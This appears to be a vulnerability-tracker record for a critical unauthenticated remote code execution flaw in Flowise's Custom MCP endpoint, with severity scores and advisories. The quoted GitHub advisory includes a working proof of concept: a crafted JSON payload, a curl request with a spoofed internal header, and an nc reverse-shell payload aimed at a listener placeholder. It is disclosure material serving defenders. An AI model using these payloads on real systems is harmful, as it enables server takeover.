CVE-2025-71336

criticalpriority · track · 0OT risk · elevatedEPSS 0.011 · 67 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
1.15% (67th) EPSS
CVSS 9.8 · critical
Is it mine?
5 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · cert_bund · nvd

EPSS · scored 2026-10-27

Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · disclosure@vulncheck.comexploitability 3.9 · impact 5.9
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.08.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (5)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2025-2048Flowise: Mehrere SchwachstellenDeutsch2025-09-14csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, und um Informationen offenzulegen.

  • GHSA-6933-jpx5-q87qFlowise has unsandboxed remote code execution via Custom MCP2025-09-15ghsa · osvUS

    ### Summary The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables. This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server. ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker 2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"} ``` 3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ``` 4. Observe that a new file named `yofitofi` is created under `/tmp` folder. Similarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload: ``` {"inputs":{"mcpServerConfig":{"command": "nc","args": [ "<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh" ]}}, "loadMethod":"listActions"} ``` ![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6) ### Impact Remote code execution ### Mitigation - Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment ### Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-06-25modified 2026-07-01
08

references (6)

External citations — patches, advisories, analysis.

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